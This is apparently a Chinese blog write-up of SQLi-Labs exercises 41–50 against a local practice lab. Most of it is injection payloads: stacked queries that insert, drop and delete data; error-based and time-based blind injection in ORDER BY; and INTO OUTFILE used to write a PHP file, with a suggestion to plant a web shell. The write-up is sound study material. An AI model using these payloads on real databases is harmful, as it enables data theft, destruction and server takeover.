SQLi-Labs 学习笔记(Less 41-50)

2023-11-13

点击打开链接

Less-41 基于错误的POST型单引号字符型注入


先打开网页查看 Welcome Dhakkan


与之前讲的Less-40的区别:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  


当然,和Less-40一样,都是盲注,不会显示错误信息,不过对我们没差,构建payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(15,'jack','jack')%23  


Less-42


先打开网页查看 Welcome Dhakkan


Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。


分析源码login.php可以知道:

[plain]  view plain  copy
  1. $username = mysqli_real_escape_string($con1, $_POST["login_user"]);  
  2. $password = $_POST["login_password"];  


password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:

[plain]  view plain  copy
  1. a';create table jack like users#  



Less-43


与Less-42的区别在于:

[plain]  view plain  copy
  1. $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";  

payload:

[plain]  view plain  copy
  1. username:admin  
  2. password:a');drop table jack#  


Less-44


本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息,同时,我们使用同样方式的payload:

[plain]  view plain  copy
  1. username:admin  
  2. password:a';insert into users(id,username,password) values('15','jack','jack')#  



Less-45


与Less-43关的区别在于并没有报错信息,也就是基于盲注,payload:

[plain]  view plain  copy
  1. username:admin  
  2. password:a');delete from users where id=15#  



Less-46


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>ORDER BY-Error-Numeric</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12. <?php  
  13. include("../sql-connections/sql-connect.php");  
  14. $id=$_GET['sort'];    
  15. if(isset($id))  
  16.     {  
  17.     //logging the connection parameters to a file for analysis.  
  18.     $fp=fopen('result.txt','a');  
  19.     fwrite($fp,'SORT:'.$id."\n");  
  20.     fclose($fp);  
  21.   
  22.     $sql = "SELECT * FROM users ORDER BY $id";  
  23.     $result = mysql_query($sql);  
  24.     if ($result)  
  25.         {  
  26.         ?>  
  27.         <center>  
  28.         <font color= "#00FF00" size="4">  
  29.           
  30.         <table   border=1'>  
  31.         <tr>  
  32.             <th> ID </th>  
  33.             <th> USERNAME   </th>  
  34.             <th> PASSWORD   </th>  
  35.         </tr>  
  36.         </font>  
  37.         </font>  
  38.         <?php  
  39.         while ($row = mysql_fetch_assoc($result))  
  40.             {  
  41.             echo '<font color= "#00FF11" size="3">';        
  42.             echo "<tr>";  
  43.                 echo "<td>".$row['id']."</td>";  
  44.                 echo "<td>".$row['username']."</td>";  
  45.                 echo "<td>".$row['password']."</td>";  
  46.             echo "</tr>";  
  47.             echo "</font>";  
  48.             }     
  49.         echo "</table>";  
  50.           
  51.         }  
  52.         else  
  53.         {  
  54.         echo '<font color= "#FFFF00">';  
  55.         print_r(mysql_error());  
  56.         echo "</font>";    
  57.         }  
  58.     }     
  59.     else  
  60.     {  
  61.         echo "Please input parameter as SORT with numeric value<br><br><br><br>";  
  62.         echo "<br><br><br>";  
  63.         echo '<img src="../images/Less-46.jpg" /><br>';  
  64.         echo "Lesson Concept and code Idea by <b>D4rk</b>";  
  65.     }  
  66. ?>  
  67.           
  68.           
  69. </font> </div></br></br></br>  
  70.   
  71. </center>   
  72. </body>  
  73. </html>  
(本关以下纯属复制粘贴,毕竟道理都一样)
这里涉及到order by注入的相关知识,sql语句为:
[plain]  view plain  copy
  1. $sql = "SELECT * FROM users ORDER BY $id";  

尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档

我们可利用order by后的一些参数进行注入。首先,

(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=right(version(),1)  

没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

①直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的

③利用and,例如?sort=1 and (加sql语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入例子
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) limit 0,1)  
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=(rand(ascii(left(database(),1)))=115)  

从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
延时注入例子
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb)  
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))  

上述两个延时注入的例子可以很明显的看出时间的不同,这里就不贴图了,图片无法展示延时。。。
同时也可以用?sort=1 and 后添加注入语句。这里就不一一演示了。
1、procedure analyse参数后注入

利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

以下为示范例
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)  

2、导入导出文件into outfile参数
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:/data.txt"  

那这个时候我们可以考虑上传网马,利用lines terminated by。

Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)

Less-47  


与上一关的区别在于:

[plain]  view plain  copy
  1. $sql = "SELECT * FROM users ORDER BY '$id'";  


将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。


1、order by后的参数


我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。

① and rand相结合的方式,payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-47/?sort=1' and rand(ascii(left(database(),1))=116)--+  


此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

②可以利用报错的方式进行

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-47/?sort=1' and (select count(*) from information_schema.columns group by concat(0x3e,0x3e,(select database()),0x3e,0x3e,floor(rand()*2)) limit 0,1)--+  


这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-47/?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+  



③延时注入

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-47/?sort=1' and (if(ascii(substr(database(),1,1))=116,0,sleep(5)))--+  
这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。


2、导入导出文件into outfile参数

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-47/?sort=1' into outfile "c:/data.txt"--+  

那这个时候我们可以考虑上传网马,利用lines terminated by。

Into outtfile c:/1.txt lines terminated by 0x(网马进行16进制转换)


[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:/..../data.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+  

此处的16进制文件为<?php phpinfo();?>

我们访问data.php


Less-48


这关与Less-46的区别在于没有报错信息,即盲注,payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-48/?sort=(if(ascii(substr(database(),1,1))=116,0,sleep(5)))  


本关我们依旧可以用into outfile进行。


Less-49


这关与Less-47的区别在于没有报错信息,即盲注,payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-49/?sort=1' and (if(ascii(substr((select username from users limit 0,1),1,1))=69,0,sleep(1)))--+  

Less-50

从本关开始我们开始进行order by stacked injection!

执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。

这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下stacked injection。

我们直接构造payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-50/?sort=1;create table jack like users#  


前面我们已经详述stacked injection的过程,这里就不详细讲解了.


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLi-Labs 学习笔记(Less 41-50) 的相关文章

  • C++ 中vector的使用方法

    在c 中 vector是一个十分有用的容器 作用 它能够像容器一样存放各种类型的对象 简单地说 vector是一个能够存放任意类型的动态数组 能够增加和压缩数据 vector在C 标准模板库中的部分内容 它是一个多功能的 能够操作多种数据结
  • 矢量数据库:大型语言模型功能背后的秘密 什么是向量数据库以及为什么它们对LLM很重要?

    您是否想过 GPT 3 BERT 等语言模型如何以惊人的准确度理解和生成文本 答案在于它们能够将单词 句子和文档表示为密集的数值向量 称为向量嵌入 这些向量嵌入对语言的语义和上下文信息进行编码 使法学硕士能够以前所未有的方式导航和操作语言数
  • 前端vue 高新企业必备面试真题(60道)---带答案 (20220414)

    目录 1 Vue 的最大的优势是什么 必会 Vue 的优势 2 Vue 和 jQuery 两者之间的区别是什么 必会 1 jQuery 介绍 2 vue 介绍 3 vue 和 jQuery 区别 1 2 MVC 基本定义 2 使用场景 3
  • 大电容滤低频,小电容滤高频?——滤波电容的选择

    大电容滤低频 小电容滤高频 滤波电容的选择 2013 07 29 20 19 06 分类 默认分类 标签 举报 字号大中小 订阅 用微信 扫一扫 将文章分享到朋友圈 用易信 扫一扫 将文章分享到朋友圈 下载LOFTER客户端 文章一 一直有
  • vue weixin-js-sdk进行微信分享

    第一步 安装weixin js sdk npm install weixin js sdk 第二步 在assets文件下新建个common文件夹 然后再新建个utils js文件 import wx from weixin js sdk 微
  • 存储过程中SELECT INTO的使用

    在MySQL存储过程中使用SELECT INTO语句为变量赋值 用来将查询返回的一行的各个列值保存到局部变量中 要求 查询的结果集中只能有1行 SELECT col name INTO var name table expr 使用SELEC
  • jqGrid 各种参数 详解

    JQGrid JQGrid是一个在jquery基础上做的一个表格控件 以ajax的方式和服务器端通信 JQGrid Demo 是一个在线的演示项目 在这里 可以知道jqgrid可以做什么事情 下面是转自其他人blog的一个学习资料 与其说是
  • SpringCloud-服务配置

    服务配置 Spring Cloud Config分布式配置中心 概述 分布式系统面临的配置问题 微服务意味着要将单体应用中的业务拆分成一个个子服务 每个服务的粒度相对较小 因此系统中会出现大量的服务 由于每个服务都需要必要的配置信息才能运行
  • NAT--静态、动态、NAPT、Easy-ip、NAT server

    静态NAT 静态 NAT Static NAT 一对一 将内部网络的私有IP地址转换为公有IP地址 IP地址对是一对一的 是一直不变的 实验拓扑 PC配置 AR1
  • 5 .A-B 数对-二分查找/模拟(普及-)

    文章目录 问题描述 问题分析 代码实现 运行结果 总结 问题描述 出题是一件痛苦的事情 相同的题目看多了也会有审美疲劳 于是我舍弃了大家所熟悉的 A B Problem 改用 A B 了哈哈 好吧 题目是这样的 给出一串数以及一个数字 C

随机推荐

  • 深度测评

    2021 跨平台开发框架到底哪家强 目前市场上有多个专业做跨平台开发的框架 那么对开发者来说究竟哪一个框架更符合自己的需求呢 笔者特地总结对比了一下不同框架的特性 国内外笔者选择了一共 5 个主流的测评对象 分别是 RN Flutter I
  • Kafka 数据存储形式以及数据清理

    文章目录 Kafka 的存储日志 日志的观察模式 日志写入模式 日志读写模式 删除消息 数据挤压问题 数据清理 日志删除 日志压缩 在Kafka当中数据是以日志的形式存在的 Kafka 的存储日志 在Kafka当中 数据在磁盘当中的存储 K
  • 家用千兆路由器排行榜前十名_路由器哪个牌子好?千兆路由器2019排行

    现在网络宽带已经进入千兆时代 几乎很多的宽带已经免费升级到了100M以上 所以之前的百兆无线路由器已经有点落伍了 市面上也出现了很多的入门级的千兆无线路由器 区别就是如果你家的宽带在100M以内 比如80M 50M 20M 10M等 使用百
  • 取消GL.iNet路由器视频的密码

    每次路由器访问192 168 8 1 8083 action stream时总是无法访问 但是先进入192 168 8 1登录以后再去刷新视频就可以出来 即使取消外网登录验证也还是没效果 最后发现广大网友的意见是重新刷固件 先去GL iNe
  • 计算机专业毕业设计演示视频(论文+系统)_kaic

    https gongkailuxiangdu oss cn beijing aliyuncs com lx jsp 20 70912jspm E6 88 BF E5 B1 8B E9 94 80 E5 94 AE E7 AE A1 E7 9
  • 树莓派命令行显示乱码及异地组网问题

    写了一千多字没保存 很生气 这一条简写 命令行显示异常 首先检查树莓派设置里的地区 时区设置 一律改为中国 随后重要原因就是字库不全问题 命令行输入 sudo apt get install ttf way zenhei 一路确定安装字体
  • 程序的链接的三种方式

    程序的链接有以下三种方式 静态链接 在程序运行之前 先将各目标模块及它们所需的库函数链接成一个完整的可执行程序 以后不再拆开 装入时动态链接 将用户源程序编译后所得到的一组目标模块 在装入内存时 釆用边装入边链接的链接方式 运行时动态链接
  • 使用matlab进行灵敏性分析(附源代码)

    调用单纯形程序 function x z flg sgma simplexfun A A1 b c m n n1 cb xx A b are the matric in Ax b c is the matrix in max z cx A1
  • ChatGPT实现代码生成

    代码生成 就代码生成而言 ChatGPT 是一款卓越的工具 它为开发者提供强大的功能 ChatGPT 可以运用其出色的自然语言处理技术 深入理解和解释开发者的需求 快速生成适合的代码片段 对于那些繁琐的任务或者重复的代码 ChatGPT 能
  • 试题 C: 刷题统计

    题目链接 点击跳转 题目描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛 他计划周一至周五每天做 a 道题目 周六和周日每天做 b 道题目 请你帮小明计算 按照计划他将在第几天实现做题数大于等于 n 题 输入格式 输入一行包含三个整数 a
  • 系统资源占用高排查手段

    1 cpu高排查思路 1 top d 1每秒打印进程所占cpu资源 然后再按h显示线程占用 2 strace跟踪strace p 线程号 会打印该线程主要做什么操作 2 io高排查思路 lsof是一个展现的是当前系统所有进程 不是线程 打开
  • 端午过后公司面了一个字节来的要求月薪23K,明显感觉他背了很多面试题...

    最近有朋友去字节面试 面试前后进行了20天左右 包含4轮电话面试 1轮笔试 1轮主管视频面试 1轮hr视频面试 据他所说 80 的人都会栽在第一轮面试 要不是他面试前做足准备 估计都坚持不完后面几轮面试 其实 第一轮的电话面试除了一些常规的
  • Redis数据结构——QuickList、SkipList、RedisObjective

    承接上文 本文主要介绍QuickList SkipList RedisObjective 四 Redis数据结构 QuickList 问题1 ZipList虽然节省内存 但申请内存必须是连续空间 如果内存占用较多 申请内存效率很低 怎么办
  • ObjectArx 学习笔记(一)--入口函数acrxEntryPoint

    参考资料 AutoCAD 2000 ARX二次开发实例精粹 1 Arx程序的初始化 新建完工程之后 Arx程序的初始化在acrxEntryPoint 函数的AcRx kInitAppMsg事件中 或该事件调用的函数中进行 例如InitApp
  • 【PS】高低频磨皮

    一 原理 将皮肤纹理的信息储存在高频的图层中 将皮肤颜色的信息储存在低频的图层中 从而分开皮肤的颜色和纹理 达到快速修复皮肤的效果 二 步骤 1 建立高低频图层 2 低频图层 3 高频图层 图像 应用图像 混合模式改为线性光
  • 以http协议实现onvif协议并完成对IPC摄像头的监控

    文章目录 目录 文章目录 前言 1实现http连接 2 获取设备编码参数 3 设置摄像头相关参数 总结 前言 因为工作上的原因 需要接入IPC摄像头 实现监控功能 因而开始了对于IPC摄像头的学习之路 因为要做到通用 所以目光直接锁定了on
  • python爬虫增加多线程获取数据

    Python爬虫应用领域广泛 并且在数据爬取领域处于霸主位置 并且拥有很多性能好的框架 像Scrapy Request BeautifuSoap urlib等框架可以实现爬行自如的功能 只要有能爬取的数据 Python爬虫均可实现 数据信息
  • 国产数据库产品清单

    01 提到国产数据库 圈儿内的朋友多数会说出国产数据库 四大家族 达梦 金仓 南大 神通 那么除了这四家 你还是否还了解其他的国产数据库产品 随着国内信息技术的快速发展 以及近几年去 O 的强势浪潮 在国内各数据库厂商的不断努力下 国产数据
  • 区块链实验室(14) - 编译FISCO-BCOS

    FISCO BCOS是一种区块链平台 与Hyperledger和Ethereum有些不同 详见FISCO BCOS 区块链 编译FISCO BCOS源码的目的是修改或者新增其中功能模块 进行对比实验 验证新想法 新创意的效果 编译的步骤很简
  • SQLi-Labs 学习笔记(Less 41-50)

    点击打开链接 Less 41 基于错误的POST型单引号字符型注入 先打开网页查看 Welcome Dhakkan 与之前讲的Less 40的区别 plain view plain copy sql SELECT FROM users WH